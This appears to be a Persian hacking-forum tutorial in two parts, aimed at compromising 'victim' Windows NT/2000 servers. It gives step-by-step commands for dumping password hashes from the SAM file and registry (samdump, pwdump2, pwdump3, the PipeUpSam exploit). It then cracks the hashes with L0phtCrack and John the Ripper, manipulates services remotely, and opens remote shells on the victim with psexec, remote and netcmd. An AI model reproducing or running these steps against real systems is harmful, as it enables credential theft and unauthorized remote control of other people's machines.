    expand sam._ samدقت کنيد که expand يکي از ابزارهاي NTRK است. با اين دستور مثل اينه که يه نسخه معادل sam رو ( با اون اکانت*هايي که موقع آخرين backup گيري داشته*ايم ) ايجاد مي*کنيم که مي*تونيم ازش استفاده کنيم.
    » و...
    حالا که يه نسخه از فايل SAM رو داريم که معادل فايل SAM اصلي است، مي*تونيم از ابزاري به اسم samdump استفاده کنيم. مثلا اگر فايل SAM ي که ايجاد کرده*ايم در آدرس c:\folder باشه و اسمش هم باشه SAM ، براي dump کردن hash ها مي*نويسيم:
    samdump c:\folder\SAMو جواب مي*گيريم:
    Administrator:500:CD9112302C53CECC7C3113B4A1A5E3A0 :F873525F352BCF1243B83938AC28A147:::ali:1009:NO PASSWORD*********************:NO PASSWORD*********************:::guest:1011:7C349F2 6F362950F05382367BF6677B7:9D5DF8F2A588405949DE0917 CC19F8DD:::,...کاملا واضحه و نيازي به توضيح نداره. اگه مي*خواستيم که اطلاعات در فايلي ذخيره بشه به اسم مثلا hash.txt بايد مي*نوشتم:
    samdump c:\folder\SAM > hash.txtوقتي SYSKEY نصب شده باشد ( مثلا در ويندوز ۲۰۰۰ اينطوريه ) ديگه samdump نمي*تونه کاري بکنه و عملا بدرد نمي*خوره.

    + روش دوم:
    استفاده از نقاط ضعف و اکسپلويت*کردن آنها. يه مثال ساده هست که در ويندوز ۲۰۰۰ کار مي*کنه. در اين روش کافي است از برنامه*اي به نام PipeUpSam ( که ميشه گفت يه جور exploit است، استفاده کنيد ). اين ابزار خيلي قشنگ مياد و فقط با اجراي دستور زير مي*تونه اين اطلاعات رو از فايل SAM بگيره و مثلا در فايلي به اسم hash.txt ذخيره کنه:
    pipeupsam hash.txtاون سايتي که من قبلا اين فايل رو ازش گرفتم، فعلا کرکره*اش پايينه! تو اينترنت بگرديد و فايل رو پيدا کنيد.

    ب) Dump کردن از رجيستري:
    ملاحظه فرموديد که Dump کردن از فايل SAM معمولا دنگ*وفنگ داره ( البته بجز اون روشي که توسط PipeUpSam بودش). به هر حال راه ساده براي Dump کردن اين hash ها هست که اون هم از طريق رجيستري است. همون*طور که گفتم، کليد*هاي مربوطه در رجيستري به صورت hidden است و نمي*تونيد با روش*هاي معمول چيزي ازش بخونيد ولي مي*تونيد به کمک ابزارهايي اين کار رو انجام بديد:
    + وقتي SYSKEY نصب نشده است:
    اين حالت وقتي پيش مياد که قراره پسوردها رو از رجيستري يه کامپيوتر NT 4.0 و قبل از SP2 بگيريم. در اين حالت ابزار pwdump رو به کار مي*بريم. کافي است بنويسيم:
    pwdumpو نتايج بياد يا مي*تونيم اينا رو در فايلي به اسم hash.txt ذخيره کنيم، با اين دستور:
    pwdump > hash.txt+ وقتي SYSKEY نصب شده باشد:
    در ويندوز ۲۰۰۰ به صورت پيش*فرض اينگونه است. براي اين کار مي*تونيد از ابزاري به اسم pwdump2 استفاده کنيد که هم نسخه قديمي و هم نسخه جديد دارد. در هر دو نسخه، اسم فايل*هاي اصلي pwdump2.exe و samdump.dll است که بايد هردو به سرور قرباني کپي شوند ( در يه فولدر خاص ) تا کار کنند. فرق نسخه قديمي با جديد اسن است که در نسخه قديمي بايد يه فايل از NTRK به اسم pulist را هم به همان فولدر کپي کنيد و ازش استفاده کنيد. مراحل زير رو بايد طي کنيد:
    :: اگر نسخه قديمي رو استفاده مي*کنيد، اول مي*نويسيد:
    pulist | find "lsass" و مثلا جواب مي*شنوم:
    lsass.exe 63 NT ...اين دستور مياد و Process ID يا همون PID مربوط به lsass.exe رو پيدا مي*کند تا بعد بتونيم از اين PID استفاده کنيم. در اينجا PID مربوطه، 63 است. اين مرحله لازم نيست در صورتيکه از نسخه جديد استفاده مي*کنيد.
    :: حالا بايد pwdump2 رو اجرا کنيم. اگه نسخه قديمي باشد، مي*نويسيم:
    pwdump2 63که ۶۳ همان PID است که بدست آورده*ايم. ولي اگر نسخه جديد باشد، لزومي نيست که PID رو بدست بياوريم، بلکه با دستور زير کار تمام است:
    pwdump2و ليست hash ها مياد، مي*تونستيم اطلاعات رو در يک فايل ذخيره کنيم، مي*نوشتيم:
    pwdump2 > hash.txtبه همين راحتي!

    نکته: يه ابزاري هست به اسم pwdump3rev2 و يا pwdump3v2 و يا pwdump3e (هر سه فايل زيپ، حاوي فايل*هاي pwdump3.exe و pwservice.exe و lsaExt.dll ) فرق اين pwdump3 با pwdump هاي ديگر، اين است که وقتي که pwdump3 اجرا شود، به صورت remote کار مي*کند. به اين ترتيب که مثلا username ( در حد اکانت*هاي Admin ) رو مشخص مي*کنيم و با اجراي pwdump3 ، از ما پسورد مي*خواهد (يعني بايد username و password رو داشته باشيم) و اتصال برقرار شده (اتصال از نوع netbios ) و بعد دو فايل ديگر رو مي*فرستد به سرور و بعد يک سرويس تشکيل مي*دهد که به صورت remote مي*تونه اين hash ها را براي ما بفرستد. ( بعد از فرستادن اطلاعات، فايل*ها پاک شده و سرويس نيز ار بين مي*رود ). براي توصيحات بيشتر مي*تونيد readme رو در فايل zip بخونيد.

    ۲) خوب حالا ما تونستيم اين hash ها رو بدست بياريم ( مثلا به شکل يه فايل به اسم hash.txt ) کار بعدي اينه که اين hash رو به کامپيوتر خودمون آورده، و بعد اونو به صورت پسورد واقعي در بياريم. همانطور که گفتم هر دو روش LM و NTLM از الگوريتم*هاي يک* طرفه براي رمز کردن استفاده مي*کنند و نتيجه اينه که نمي*شه مستقيما اين hash ها رو به پسورد تبديل کرد. بلکه روش کار اينه که بايد پسوردها رو crack کنيم. به اين ترتيب که ليست بزرگي از پسوردها رو با هر کدام از اين الگوريتم*ها ( LM يا NTLM ) رمز کرده و نتيجه رو با چيزي که در فايل hash.txt داريم، مقايسه کنيم. اگر يکي بودند، يعني پسورد درست است. حالا روش*هاي محتلفي که براي crack کردن کاربرد دارند، اينها هستند:
    » dictionary attack: در اين روش يک فايل بزرگ که حاوي کلمات زيادي است به کار مي*رود و با توجه به اينکه تعداد زيادي از مردم از کلمات معنادار استفاده مي*کنند، ممکن است به جواب برسه. اين فايل*هاي ديکشنري رو در درس مربوط به پورت ۱۳۹ گفتم از کجا مي*تونيد پيدا کنيد.
    » Brute Force: در اين روش تمام حالات ممکنه رو امتحان مي*کنيم، مثلا از پسوردهاي يک کاراکتري شروع مي*کنيم و تمام حالات ممکنه رو تست مي*کنيم و اگه جواب نداد ۲ حرفي و ... مشخصه که اين روش بسيار کنده. ولي اگه مثلا بدونيم پسوردي که فلان فرد استفاده مي*کنه، چند حرفيه، مي*تونيم کار رو کمي سريع*تر کنيم...
    » Syllable attack: در اين روش يک کلمه به سيلاب*هاش تقسيم شده و بين اين*ها کاراکترهايي قرار داده ميشه و نتيجه تست ميشه. بعضي افراد از چنين پسوردهايي استفاده مي*کنند.
    » Hybrid يا rule based: در اين روش از يک سري اصول استفاده مي*کنيم مثلا تمام پسوردهايي که حروف اولش يک کلمه انگليسي باشه و بعد از اون مثلا تا سه حرف رندوم. ميشه گفت ترکيب dictionary و brute force است.
    » و...
    حالا که با روش*هاي crack آشنا شديد، وقتشه که چند ابزار واسه اين کارها معرفي کنم:
    الف- L0pht Crack :
    مشهورترين ابزار کرک کردن پسوردهاي hash شده است که واسه سيستم*عامل ويندوز طراحي شده است. اين ابزار نسخه پولي دارد به اسم LC4 که گرافيکي است ( با trial براي ۱۵ روز ) و نيز نسخه خط*فرماني مجاني و Open Source به اسم LC1.5 که مي*شه گفت يه نسخه لايت است. کار با نسخه گرافيکي بسيار ساده است. و روش*هاي کرکي که گفتم رو ساپورت مي*کنه ( بجز روش سيلابل ) . نسخه متني و مجاني، هيبريد و سيلابل رو ساپورت نمي*کنه ولي دو تاي ديگه رو ساپورت مي*کنه. نسخه گرافيکي اين شکليه:

    [IMG]file:///C:/Documents%20and%20Settings/Mohammad/Local%20Settings/Temp/Rar$EX03.797/CASH.doc.%7B73FDDC80-AEA9-101A-98A7-00AA00374959%7D/Pro/4_files/n13820909.gif[/IMG]

    کار کردن باهاش ساده است. دقت کنيد که چون خود LC4 داخل خودش ابزارهاي samdump و pwdump و pwdump2 رو داره، بنابراين نيازي به اينها نيست. پس مثلا هم مي*تونه يک فايل SAM رو کرک کنه و هم مي*تونه فايلي که به اسم hash.txt ايجاد کرديم رو کرک کنه و ... خودتون تست کنيد و لذت ببريد.
    خود سايت ادعا داره که با LC4 ميشه ۱۸٪ پسوردها رو در عرض ۱۰ دقيقه باهاش کرک کرد و ۹۰٪ پسوردها رو در ۴۸ ساعت. منابع بي*طرف مي*گن که ۱۰٪ پسوردها در چند ساعت و ۲۵٪ پسوردها در چند روز کرک ميشه. در هر دو صورت ملاحظه مي*کنيد که کار باهاش کند است.
    يه نکته مهم در مورد LC4 هست که مي*تونه کاري شبيه به همون pwdump3 که بحث*اش رو کردم انجام بده ولي چون من کلا با محصولات پولي لجم! هيچي ازش نمي*گم
    در مورد LC1.5 که متني است،* اگر فايل hash که داريم اسمش hash.txt باشد و ديکشنري که استفاده مي*کنيم، اسمش theargon.lst باشد، براي کرک کردن با اين ابزار و روش dictionary attack مي*نويسيم:
    lc_cli -p hash.txt -w theargon.lstمي*توانيد سويچ*هاي -l رو استفاده کنيد که فقط hash هاي LM تست شود، و يا سويچ -n که فقط hash هاي NTLM تست شود. اگر هيچ*يک از اين سويچ*ها رو بکار نبريد ( مثل مثالي که در بالا نوشتم ) هر دو تست خواهند شد. حالا مي*خوام توسط اين ابزار متني، hash.txt رو به روش brute force کرک کنم. مي*نويسم:
    lc_cli -p hash.txt -bاين روش خيلي طولاني خواهد بود.
    ب- John the Ripper يا John :
    اين هم يکي از ابزارهاي مهم براي کرک کردن پسوردهاي ويندوز NT ( ونيز پسوردهاي يونيکس ) است. هم نسخه ويندوزي و هم نسخه يونيکسي ( لينوکسي ) دارد. به صورت خط*فرماني است. نکته مهم اينه که John در مورد پسوردهاي ويندوز فقط مي*تونه LM رو کرک کنه ( و نه NTLM ها رو ). براي دريافت John اينجا رو کليک کنيد.
    براي کار با John اولين کار اين است که فايل John.ini رو تنظيم کنيم. اينجا مي*تونيم، مثلا اسم فايل ديکشنري رو تنظيم کنيد ( پيش*فرض اون password.lst است ) ولي بقيه تنظيمات لزومي به تغيير ندارند. قبلا هم که فايل hash.txt رو داشته*ايم. مي*نويسيد:
    john hash.txtو بعد از اينکه کار تمام شد، مي*نويسيم:
    john -show hash.txtو نتايج نمايش داده مي*شوند.

    اين بحث را مي*خوام تموم کنم ولي قبلش بايد از يک پيشرفت جديد در کرک کردن پسوردهاي ويندوز اسم ببرم. گفتم که ويندوز در hash کردن از salt (نمک) استفاده نمي*کند. اين باعث ميشه بتونيم يه جدول بزرگ درست کنيم که بتونيم کار کرک کردن رو سريع*تر کنيم. اين کار رو جديدا تيم LASEC انجام داده است. با روشي که اينها استفاده کردند، 99.9% پسوردهايي که فقط حاوي عدد يا حرف باشند ( يعني alphanumbric باشند )، در چند ثانيه کرک مي*شوند. قبلا يه نسخه آنلاين در سايتشون بودش که در حدود ۱۳ ثانيه کار کرک رو تموم مي*کرد ( اين يعني خيلي پيشرفت ) ولي الان اونو ورداشته*اند. اميدواريم به زودي يه نسخه قابل داون*لود در سايتشون بذارند ( که احتمالا ۲ گيگابايت خواهد بود! ) ما هم لينک بديم



  6. #6
    نام حقيقي: پاشا

    عضو غیر فعال
    تاریخ عضویت
    Jun 2007
    نوشته
    12
    سپاسگزاری شده
    13
    سپاسگزاری کرده
    2

    ضروريات ويندوز سرور براي هکرها - قسمت پنجم

    يادآوري

    اين مقاله ادامه مقاله قبلي*ه! در اين درس نيز ما با يک سرور ويندوز به صورت يک کامپيوتر منفرد سروکار داريم و توجهي به کامپيوترهاي متصل به اون در شبکه*اي که هست نداريم.


    - سرويس*ها در ويندوز سرور

    براي بعضي کارهاي خاص، بعضي سرويس*ها بايد در کامپيوتر قرباني فعال باشند يا ما بايد فعالشون کنيم. ( مثلا در درس*هاي قبلي در مورد schedule service مطالبي رو به* شما گفتم. فرمودم! که اگه بخوايم کارهاي زمان*بندي شده رو در سرور ويندوز انجام بديم، اين سرويس بايد به*راه باشه. ) بنابراين از ديد يک هکر بعضي سرويس*ها مهم*تر هستند که به اونها خواهيم پرداخت.

    اول چند اصطلاح رو بايد ياد بگيريد:
    ۱- Display Name : نام کامل سرويس است. مثلا "Terminal Services" براي ترمينال سرويس ( حروف بزرگ و کوچک مهم است! )
    ۲- Service Name يا Key Name : نام خلاصه شده و يک کلمه*اي براي سرويس*هاست. مثلا TermService براي ترمينال سرويس ( حروف بزرگ و کوچک مهم است! )
    ۳- Process Name : اسم يک فايل اجرايي ( با پسوند exe ) که سرويس رو ايجاد کرده است. مثلا svchost.exe براي ترمينال سرويس. ( دقت کنيد که ممکن است يک پروسس چند سرويس مختلف رو ايجاد کند )

    خوب حالا بهتره بدونيد که سيستم*عامل موقعي که بالا مياد ( restart ميشه ) با توجه به تنظيمات هر سرويس مي*تونه به سه شکل با اون رفتار کنه:
    ۱- Automatic : اگر سرويس در اين وضعيت تنظيم شده باشد، هر وقت که سرور بالا مياد، سرويس هم به صورت اتوماتيک شروع به کار مي*کنه.
    ۲- Manual : اگر سرويس در اين وضعيت باشه، به صورت دستي ( يا توسط يک سرويس ديگه ) ميشه اونو فعال يا غير فعال کرد ولي موقع بالا اومدن به صورت پيش*فرض غير فعال خواهد بود.
    ۳- Disabled : اگه سرويس در اين وضعيت باشه، موقع بالا اومدن سيستم*عامل، غير فعال خواهد بود و يک يوزر يا يک سرويس وابسته نمي*تونه اونو فعال کنه.

    وضعيت سرويس*ها هم قابل بررسي است:
    ۱- Running : يعني الان در وضعيت اجرا است.
    ۲- Paused : يعني هنوز در وضعيت اجرا هست ولي کاري رو قبول نمي*کنه. براي ادامه کار بايد Continue کنيم.
    ۳- Stopped : يعني متوقف شده، براي ادامه کار دوبار بايد Start بشه.

    و ما نسبت به اين سرويس*ها چند تا کار مي*تونيم انجام بديم:
    ۱- Start : يعني از حالت Stopped خارج بشه و شروع به کار کنه.
    ۲- Stop : يعني متوقف بشه.
    ۳- Pause : يعني کاري رو قبول نکنه. يه درجه پايين تر از stop است چون براي ادامه کار لازم نيست دوباره فراخواني بشه ( يعني آماده کار است ولي موقتا کاري نمي*گيره )
    ۴- Continue : يعني از حالت Pause خارج شده و در وضعيت Running قرار بگيره.
    ۵- Delete : يعني يک سرويس موجود رو پاک کنيم ( اگه بخوايم دوباره بهش دست*رسي پيدا کنيم، بايد دوباره نصب شود ). با اين کار تمام کليدها و ورودي*هاي مربوطه از رجيستري پاک مي*شوند.
    ۶- Create و Install : عمل عکس Delete رو انجام بديم. يعني يک سرويس جديد ايجاد کنيم. با اين کار کليدها و ورودي*هاي مربوطه به رجيستري اضافه مي*شوند.

    حالا بهتره سرويس*هاي مهم هکري رو ليست کنم ( اين ليست از سايت http://www.ss6A.com گرفته شده است. با کمي تغييرات و اضافات ) :

    Display nameService nameProcess nameDescriptionStatusApplication ManagementappmgtServices.exe or svchost.exeInstallation services (Add/Remove Programs) - Assign, Publish, and Remove.ManualComputer BrowserBrowserServices.exeActively collect the names of NetBIOS resources on the network, creating a list so that it can participate as a master browser or basic browser (one that takes part in browser elections).
    This maintained list of resources (computers) is displayed in Network Neighborhood and Server Manager.
    AutomaticDHCP Client DhcpServices.exe or svchost.exeManage network configuration by registering and updating IP addresses and DNS names.AutomaticDNS ClientDnscacheServices.exeResolves and caches Domain Name System (DNS) names.AutomaticEventLogEventLogServices.exeRecord System, Security, and Application Events.
    Viewed with the MMC Event Viewer (eventvwr.exe in NT).
    AutomaticIIS Admin ServiceIISAdmin%SystemRoot%\System32\inetsrv\inetinfo.exeAllows administration of Web and FTP services through the Internet Information Services snap-in.Automatic (if IIS installed)Internet Connection Sharing (Internet Connection Firewall)SharedAccesssvchost.exe -k netsvcs Network address translation, addressing, and name resolution services for all computers on your home network through a dial-up connection.AutomaticIPSEC Policy Agent PolicyAgentlsass.exe Manage IP security policy and starts the ISAKMP/Oakley (IKE) and the IP security driver.Automatic or DisableKerberos Key Distribution Centerkdclsass.exeGenerates session keys and grants service tickets for mutual client/server authentication.DisableMessengerMessengerServices.exeProcess the delivery of pop-up messages sent by the Alerter service, or via NET SEND. The messages appear on the recipient's machines, and must be clicked OK to disappear.
    This service is also required to receive any messages sent by the Messenger service from another machine.
    This service is not related to Windows Messenger
    AutomaticNetwork Connections Netmansvchost.exe -k netsvcsManage objects in the Network and Dial-Up Connections folder (LAN and remote connections.) ManualNet Logon NetlogonLsass.exe
    (Local Security Authority Subsystem)
    Network Authentication: maintains a synced domain directory database between the PDC and BDC(s), handles authentication of respective accounts on the DCs, and authenticates domain accounts on networked machines. Automatic - when connected to a domain.
    Manual for stand-alone machines.
    NetMeeting Remote Desktop Sharing Nmnsrvcmnmsrvc.exeAllows authorized people to remotely access your Windows desktop using NetMeeting.Manual or DisabledNT LM Security Support Provider NtLmSspServices.exeExtends NT security to Remote Procedure Call (RPC) programs using various transports other than named pipes.
    RPC activity is quite common, and most RPC apps don't use named pipes.
    ManualProtected Storage ProtectedStoragePstores.exeEncrypt and store secure info: SSL certificates, passwords for Outlook, Outlook Express, Profile Assistant, MS Wallet, and digitally signed S/MIME keys.AutomaticRemote Procedure Call (RPC) Locator RpcLocatorLocator.exe Maintain the RPC name server database, requires the RPC service (below) to be started. Database of available server applications.ManualRemote Procedure Call (RPC) Service
    or
    Remote Procedure Call (RPC)
    RpcSsRpcss.exe or svchost -k rpcssThis RPC subsystem is crucial to the operations of any RPC activities taking place on a system (DCOM, Server Manager, User Manager)
    Rpcss.exe is also known as dcomss.exe (Distributed Common Object Model).
    AutomaticRemote Registry Service RemoteRegistryregsvc.exeAllow remote registry manipulation.Automatic or disabledRouting and Remote Access RemoteAccesssvchost.exe -k netsvcsAllow incoming connections via dial in or VPN.Disable for security reasons or Manual RunAs Service (Secondary Logon)secLogonservices.exe or svchost.exe Enables starting processes under alternate credentials.Automatic or DisableSchedule (Task scheduler) Scheduleatsvc.exe or mstask.exe This service is required for the use of the AT command, which allows the scheduling of commands (Jobs) to be run on the machine, at a specific date & time.
    Under NT it's a Resource Hog.
    Under XP it's used by some auto-tuning operations.
    AutomaticSecurity Accounts Manager SamSslsass.exe Stores security information for local user accounts.AutomaticServerLanmanServerServices.exe Support for file sharing, print sharing, and named pipe sharing via SMB services.Automatic.
    Disable on an IIS Server or if no resources are shared.
    Simple Mail Transport Protocol (SMTP)SmtpSvc%SystemRoot%\System32\inetsrv\inetinfo.exeTransports electronic mail across the networkAutomatic (if IIS installed)Simple TCP/IP Services SimpTcptcpsvcs.exe Supports the following TCP/IP services: Character Generator, Daytime, Discard, Echo, and Quote of the Day.SNMP ServiceSnmpsnmp.exe Agents that monitor the activity in network devices and report to the network console workstation.Automatic (if installed)SNMP Trap Service Snmptrapsnmptrap.exe Receives trap messages generated by local or remote SNMP agents and forwards the messages to SNMP management programs running on this computer.Automatic (if installed)System Event Notification SENSsvchost.exe -k netsvcs Track system events such as Windows logon, network, and power events.
    Notifiy COM+ Event System subscribers of these events.
    AutomaticTCP/IP NetBIOS HelperlmHostsServices.exe Support for name resolution via a lookup of the LMHosts file. (Netbios/Wins)
    This is an alternative to the more standard DNS lookup.
    Telnet TlntSvrtlntsvr.exe Allows a remote user to log on to the system and run console programs using the command line.Manual or Disabled.Terminal Services TermServicesvchost.exeRequired for Fast User Switching, Remote Desktop and Remote Assistance DisableWebClient (XP)WebClientsvchost.exe Allow access to web-resident disk storage from an ISP. WebDAV "internet disks" such as Apple's iDisk.DisableWindows Management Instrumentation WinMgmt%SystemRoot%\System32\WBEM\WinMgmt.exeProvides system management information.AutomaticWindows Time W32timeservices.exe Update the computer clock by reference to an internet time source or a time server.Automatic or disableWorkstationlanmanworkstationServices.exe Communications and network connections.
    Services dependent on this being started: Alerter, Messenger, and Net Logon.
    Automatic.
    or Manual - for a stand-alone PC with no LAN or internet connection.
    World Wide Web Publishing ServiceW3Svc%SystemRoot%\System32\inetsrv\inetinfo.exeProvides Web connectivity and administration through the Internet Information Services snap-in.Automatic (if IIS installed)
    خوب معلومه که لازم نيست ليست رو حفظ کنيد! ولي اگه يه کمي روي اين جدول کار کنيد، خيلي مي*تونه کمکتون کنه. مثلا اگه فردا گفتم که فلان Exploit واسه يک حفره امنيتي در Workstation Service هستش، بدونيد چي به چيه...
    اينها که گفتم، تعدادي از سرويس*هاي ويندوزه. اون*هم سرويس*هاي استاندارد ويندوز. اين به اون معني است که محصولات third-party مثلا فايروال*هاي نرم*افزاري، ابزارهاي remote control و ... هم مي*تونند يک سرويس واسه خودشون راه بندازند و اين اصلا عجيب نيست!

    مي*رسيم به کار با سرويس*ها و ابزارهاي لازمه:

    ۱- کار با سرويس*ها وقتي که پشت کامپيوتر خودمون نشسته*ايم ( يا با يک remote control گرافيکي به کامپيوتر هدف متصل شده*ايم ) :
    در اين مواقع مي*تونيد در قسمت RUN بنويسيد:winmsd.exe يا services.msc
    اگر winmsd.exe را آورده*ايد ( نام اين برنامه System Information است)، در قسمت سمت راست پنجره مسير Software Invironment > Services را طي کنيد. حالا مي*توانيد، اسم و وضعيت سرويس*ها رو ببينيد. ولي نمي*تونيد تغييري اعمال کنيد.
    اگر services.msc را آورده*ايد ( نام اين برنامه Services است)، علاوه بر نام و وضعيت سرويس*ها که مي*بينيد،* مي*تونيد با راست کليک روي هر سرويس ( يا به کمک بار بالايي ) در سرويس*ها تغييراتي اعمال کنيد. مثلا شروع يا متوقف کنيد، Status را تغيير دهيد و ...

    ۲- کار با سرويس*ها به صورت خط فرماني:
    در اين موارد از ابزارهاي خاصي مثل دستورات net ( يعني net start و net stop و net pause و net continue ) و نيز ابزارهاي NTRK ( يعني sc و sclist و netsvc و delsrv و isntsrv و srvany و svcmon و winmsdp ) استفاده کنيم. دستورات net که مي*دونيد، هم به صورت loacl و هم remote قابل استفاده هستند. ولي در مورد ابزارهاي NTRK، بعضي فقط به صورت لوکال و بعضي فقط remote و بعضي هر دو کاربرد دارند. من کارهايي که با سرويس*ها ميشه انجام داد رو ليست مي*کنم، و در هر کدوم مي*گم که اگع بخوايم به صورت لوکال يا ريموت کار کنيم، از چه ابزارهايي مي*شه استفاده کرد:
    ( حتما به کاربرد دستور find که در تعدادي از دستورات پاييني استفاده کرده*ام، دقت کنيد! )
    ( وقتي در يک موردي چندتا دستور مختلف رو مي*گم، انتخاب هر کدوم به دلخواه شماست! )

    + ليست کردن سرويس*هاي موجود:
    - لوکال:

    sclistsc querywinmsdp /s ( file-e be esm-e msdrpt.TXT ijad mikonad, uno bekhunid )- ريموت:
    netsvc /list \\xxx.xxx.xxx.xxx
    + بررسي وضعيت يک سرويس از نظر Running بودن، Paused بودن، Stoped بودن و اطلاعات ديگر ... ( مثلا Schedule سرويس که Display Name اش هست: Task Scheduler در حاليکه Service Name يا Key Name اش هست: Schedule ) :
    - لوکال:

    sclist | find "Schedule"sc query Schedule sc query Schedule | find "STATE"sc qc Schedule - ريموت:
    netsvc Schedule \\xxx.xxx.xxx.xxx /querynetsvc "Task Scheduler" \\xxx.xxx.xxx.xxx /querysc \\xxx.xxx.xxx.xxx query Schedule sc \\xxx.xxx.xxx.xxx query Schedule | find "STATE"sc \\xxx.xxx.xxx.xxx qc Schedule
    + Stopped کردن يک سرويس ( مثلا در مورد Schedule سرويس که Display Name اش هست: Task Scheduler در حاليکه Service Name يا Key Name اش هست: Schedule ):
    - لوکال:

    net stop Schedulenet stop "Task Scheduler"sc stop Schedule- ريموت:
    netsvc Schedule \\xxx.xxx.xxx.xxx /stopnetsvc "Task Scheduler" \\xxx.xxx.xxx.xxx /stopsc \\xxx.xxx.xxx.xxx stop Schedule
    + از حالت Stopped در آوردن يک سرويس ( مثلا در مورد Schedule سرويس که Display Name اش هست: Task Scheduler در حاليکه Service Name يا Key Name اش هست: Schedule ):
    - لوکال:

    net start Schedulenet start "Task Scheduler"sc start Schedule- ريموت:
    netsvc Schedule \\xxx.xxx.xxx.xxx /startnetsvc "Task Scheduler" \\xxx.xxx.xxx.xxx /startsc \\xxx.xxx.xxx.xxx start Schedule
    + Paused کردن يک سرويس خاص ( مثلا در مورد Schedule سرويس که Display Name اش هست: Task Scheduler در حاليکه Service Name يا Key Name اش هست: Schedule ):
    - لوکال:

    net pause Schedulenet pause "Task Scheduler"sc pause Schedule- ريموت:
    netsvc Schedule \\xxx.xxx.xxx.xxx /pausenetsvc "Task Scheduler" \\xxx.xxx.xxx.xxx /pausesc \\xxx.xxx.xxx.xxx pause Schedule
    + از حالت Paused در آوردن يک سرويس ( مثلا در مورد Schedule سرويس که Display Name اش هست: Task Scheduler در حاليکه Service Name يا Key Name اش هست: Schedule ):
    - لوکال:

    net continue Schedulenet continue "Task Scheduler"sc continue Schedule- ريموت:
    netsvc TermsService \\xxx.xxx.xxx.xxx /continuenetsvc "Task Scheduler" \\xxx.xxx.xxx.xxx /continuesc \\xxx.xxx.xxx.xxx continue Schedule
    + Delete کردن يک سرويس خاص ( مثلا در مورد Schedule سرويس که Display Name اش هست: Task Scheduler در حاليکه Service Name يا Key Name اش هست: Schedule ):
    - لوکال:

    sc delete Scheduleinstsrv Schedule removedelsrv Schedule- ريموت:
    sc \\xxx.xxx.xxx.xxx delete Schedule
    + Create يا Install کردن يک سرويس ( مثلا در مورد Schedule سرويس که Display Name اش هست: Task Scheduler در حاليکه Service Name يا Key Name اش هست: Schedule ):
    - لوکال:

    sc create Schedule binPath=zzzz ( zzzz yani masire file ejrayi marbut be Schedule )instsrv Schedule zzzzzsrvany ???? ( ba in dastur ham mishavad vali man syntax-esho nemidunam )- ريموت:
    sc \\xxx.xxx.xxx.xxx create Schedule binPath=zzzz
    خوب به سلامتي اينا تموم شد، حالا فقط يه نکته مونده. فرض کنيد که من Display Name مربوط به Schedule سرويس رو مي*دونم که هست: Task Scheduler در حاليکه Service Name يا Key Name اش رو نمي*دونم و مي*خوام پيدا کنم. کافي است دستور زير رو بنويسم:
    sc GetKeyName "task scheduler"و جواب چيزي است که من مي*خوام. حالت برعکس هم داريم، مثلا Key Name رو مي*دونم که Schedule است، مي*خوام Display Name رو بگيرم. مي*نويسم:
    sc GetDisplayName scheduleراحت شديم از سرويس*ها!



    - Remote Controls

    همان*طور که مي*دونيد، Remote Control ها بر دو نوعند:
    ۱- خط*فرماني ( مثلا استفاده از nc يا at يا rcmd يا remote يا netcmd يا psexec )
    ۲- گرافيکي ( مثلا Terminal Services ويندوز يا VNC يا تروجان*هايي مثل BO2K يا NetBus )

    حالا بررسي هر يک:

    + استفاده از nc :
    استفاده از nc به عنوان يک Remote Control قبلا و به طور مفصل در
    اينجا بحث شده است.

    + استفاده از at :
    کار با at رو
    اينجا توضيح دادم. اگه يادتون باشه ما از at به عنوان يک Remote Control استفاده نمي*کرديم، بلکه موقعي ازش استفاده مي*کرديم که مي*خواستيم يه دستور خاص ( مثلا ايجاد يک پورت جديد به کمک nc رو ) مثلا چند دقيقه ديگر اجرا کنيم. به عبارت ديگه at کاتاليزور است!

    + استفاده از rcmd :
    rcmd يا به عبارتي Remote Command Service يکي از ابزارهاي موجود در مجموعه NTRK است. دو تا فايل دارد که بدرد ما مي*خوره. اولي rcmdsvc.exe است که درواقع فايلي است که به عنوان سرور بايد به کامپيوتر قرباني کپي شده و اجرا شود و يک سرويس براي ما تشکيل دهد. دومي rcmd.exe است که قسمت کلاينت محسوب ميشه و اونو تو کامپيوتر خودمون اجرا مي*کنيم که به سرويسي که rcmdsrv ايحاد کرده متصل شود. ( nc رو دوست دارم، اينا رو دوست ندارم! )

    + استفاده از remote :
    remote هم از ابزارهاي موجود در NTRK است. فقط يک فايل است که هم مي*تونه نقش سرور و هم نقش کلاينت رو بازي کنه. براي اينکه نقش سرور رو ايفا کنه، فايل رو به کامپيوتر قرباني فرستاده و اونجا مي*نويسم:

    remote /s cmd zzzzzzzzzzzz يعني هر چيزي که شما دوست داري! وقتي اين دستور اجرا شد، تو کامپيوتر خودم مي*نويسم:
    remote /c xxx.xxx.xxx.xxx zzzzzzکه xxx.xxx.xxx.xxx به عنوان ip قرباني است و zzzzz همون چيزي است که تو سرور استفاده کرده بودم. ( nc رو دوست دارم، اينا رو دوست ندارم! )

    + استفاده از netcmd :
    خوب فرض کنيد که من پسورد Admin رو دارم و يک session با IPC$ ايجاد کرده*ام. حالا مي*تونم با دستور netcmd يه shell ازش بگيرم. قبلا و در
    اينجا بحث شده است.

    + استفاده از psexec :
    ميشه گفت يه جورايي کار netcmd رو انجام ميده ولي ديگه نيازي به ايجاد session نداره. psexec رو مي*تونيد از سايت
    SysInternals پيدا کنيد. لزومي به کپي کردن هيچ فايلي در کامپيوتر قرباني نيست. اگر اکانتي به اسم Ali با پسورد thepassword در حد اکانت Admin باشد، مي*نويسيد:
    psexec \\xxx.xxx.xxx.xxx -u Ali -p thepassword cmd.exeو يک شل خط*فرماني بگيريد.

    + استفاده از Terminal Services :
    رسيديم به Remote Control هاي گرافيکي و اولين موردي که از اين گروه بحث مي*کنيم، همين ترمينال سرويس است. ترمينال سرويس مربوط به خود ويندوز است ( جزو سرويس*هاي استاندارد اون ) ولي به صورت پيش*فرض غيرفعال است. اگه فعال باشه، روي پورت 3389 فال*گوش مي*مونه. اگه فعال نباشه، ميشه اونو نصب کرد ولي دنگ*وفنگ زياد داره. اگه فعال باشه، براي اتصال به اين Terminal Service کلاينت*هاي مختلفي براي اون هست. از فايل*هاي اجرايي مثل
    اين و اين گرفته تا Active-X هايي که رو IE اجرا مي*شوند. username و password اش هم همان اکانت*هاي ويندوز است.

    + استفاده از VNC يا به عبارتي Virtual Network Computing يا به عبارتي WinVNC :
